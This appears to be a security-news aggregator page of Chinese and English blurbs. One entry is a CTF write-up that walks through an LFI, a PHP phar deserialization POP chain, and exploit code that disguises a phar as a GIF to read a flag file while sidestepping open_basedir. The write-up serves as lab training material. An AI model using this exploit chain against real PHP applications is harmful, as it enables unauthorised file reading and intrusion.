Aggregator

隐秘接口处XSS带来的惊喜，绕过验证思路。实战总结的灰黑产精准识别方案。

A summary of the NCSC’s security analysis for the UK telecoms sector

通过form利用gogs的post型反射型xss 审计 在审计gogs代码时发现gogs的api允许渲染markdown.最初以为是无法利用的,

这篇文章很轻松，希望能给你呆在屋子里的生活，添一点灵感或者兴趣。

0x00关于本文 感谢@glzjn大佬提供的buuoj复现环境！ 0x01漏洞突破口 LFI  在注册登陆简单测试之后可以轻易地发现download.php的LFI漏洞

 后退两个目录即可获取源码(怎么知道是后退两个目录？多试试就知道了)，我们发现download.php有这一行
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) { 看来很不幸，没法直接读flag
但是好在这个漏洞可以把题目中的所有源码都下载下来，方便我们审计
0x01 反序列化漏洞发现 看到download.php代码中存在这一行 include "class.php"; 一般来说像CTF题目这种超级超级小规模的项目是不会需要真正用到OOP来开发的，除非....想要用到相关的漏洞，比如反序列化 哪里有反序列化点呢？就藏在文件操作中。(相关阅读利用 phar 拓展 php 反序列化漏洞攻击面) 在download.php中存在如下代码（事实证明download.php并不能正常利用，在之后我会讲） $file = new File(); ... $filename = (string) $_POST['filename']; ... $file->open($filename) 跟到File类里面的open函数中，这个$filename被直接带入 file_exists($filename) 这样大黑客们就可以利用phar://伪协议用反序列化搞事情，好了我们开始审计代码！
0x02 POP Chain构造 我们现在需要构造POP Chain来RCE或者文件读取，要审计反序列化，我们第一步是需要找到起点，那就是__destruct或__wakeup函数，不过这道题目里面没有__wakeup函数，只有两个__destruct函数。 首先看到FileList类的__destruct     public function __destruct() {         $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';         $table .= '<thead><tr>';         foreach ($this->funcs as $func) {             $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';         }         $table .= '<th scope="col" class="text-center">Opt</th>';         $table .= '</thead><tbody>';         foreach ($this->results as $filename => $result) {             $table .= '<tr>';             foreach ($result as $func => $value) {                 $table .= '<td class="text-center">' . htmlentities($value) . '</td>';             }             $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">娑撳��娴�</a> / <a href="#" class="delete">閸掔娀娅�</a></td>';             $table .= '</tr>';         }         echo $table;     } } 好像啥都没有的样子。。。 那再看User类的     public function __destruct() {         $this->db->close();     } 这个$this->db我们是可以操纵的，那我们首先尝试找到一个close函数来继续这个链条 而File类里面恰巧有一个close函数，但是代码只有一句。 return file_get_contents($this->filename); 能读取是能读取，但是我又不能输出，这怎么可以呢？ 这里$this->db->close()除了可以调用close函数之外，还可以在别的类不存在close的时候调用__call函数。 果不其然，在FileList类找到了     public function __call($func, $args) {         array_push($this->funcs, $func);         foreach ($this->files as $file) {             $this->results[$file->name()][$func] = $file->$func();         }     } 其中$func是"close",这个函数首先把"close"塞到了$this->funcs的尾部，接着遍历$files做了些蜜汁操作 $this->results[$file->name()][$func] = $file->$func(); 看了下大概是给File类量身定做的，只有File类才同时有name和close，而这里我们要是操纵$file的确能把内容塞到$this->results数组里面。 可是写进去了怎么读出来呢，那就要看到FileList类的__destruct函数了，仔细看下这个函数发现真的能把结果输出出来，那这样我们就形成了一条从User类到FileList类，再到File类的POP Chain。 0x03 EXP构造 （filename为什么是/flag.txt?我也想知道。这部分我是在网上看到别人的EXP这么写的 <?php class File {     public $filename;     function __construct()     {         $this->filename="/flag.txt";
    } } class FileList  {     private $files;     function __construct()     {         $this->files=[new File()];     } }
class User {     public $db;     function __construct()     {         $this->db=new FileList();     } } $o = new User(); $filename = 'avatar.phar.gif'; file_exists($filename) ? unlink($filename) : null; $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering(); ?> 0x04 最后利用 本来以为直接download.php里面直接用phar就可以的，没想到这个文件始终读不出来
接着才发现了我刚刚忽略的一行 ini_set("open_basedir", getcwd() . ":/etc:/tmp"); 原来他这里搞了个open_basedir害得我读不出来，但是问题不大，因为delete.php也操作文件，甚至不需要换参数。 url一换，结果就出来了

在提笔写今年的年终总结之前，我已经收到了好多催更提

在提笔写今年的年终总结之前，我已经收到了好多催更提

Online retail apps are a perfect storm of interconnecting infrastructure and insertion points. F5 Labs' Preston Hogue writes for SecurityWeek, discussing the wide range of risks that can threaten your apps, and how the need to understand the entire organism is critical.

Knowing the trends in cyber security is key to protecting yourself. F5 Labs' Raymond Pompon writes for Teiss, discussing the three trends that will drive challenges and opportunities in 2020.

这篇文章中我们将提供一个极简的纵深防御实例，这个实例应该是目前绝大多数公司防御体系的一个基础版本。

Sentry因过时依赖导致的安全问题 前言 这次挖的其实没啥技术含量 但是从依赖挖掘到漏洞还是比较少见的. 挖掘过程 下载源码后,发现src目录有so

黑产研究—“秒拨IP挖掘机”制作，故事背景 黑产的本质是利益，因利益而存......

The Service Worker web API is a powerful new API for web browsers. During our research, we have found several ways attackers can leverage this API to enhance their low-to-medium risk findings into a powerful and meaningful attack. By...

问题的引出 众所周知，ContentProviders是android用于跨进程共享数据的一种方式。ContentProvider需要媒介进行数据存储, 最常用的就是SQLite数据库。我们知道，web应用常常由于数据库操作语句编写不当造成sql注入漏洞，其实，Android也不例外。在导出的 Co

Guardicore Centra v 31 includes such features as user-based rules and a threat intelligence firewall. Read more about the updates and improvements.

前言 之前在一些博客上看到过讲如何实现延迟队列，但是平时没用上也没有动手实现过。 在上次面试的时候，面试官也问过我有没有用过延迟队列，最后凭借着记忆讲了下

Although ransomware has declined in media coverage, it appears to be gaining in strategic precision. F5 Labs' David Warburton writes for IDG Connect, discussing concrete steps for public sector organizations to defend themselves effectively.

Leverage the benefits of VDI without opening yourself to security risk. Guardicore provides user access management and microsegmentation for Citrix.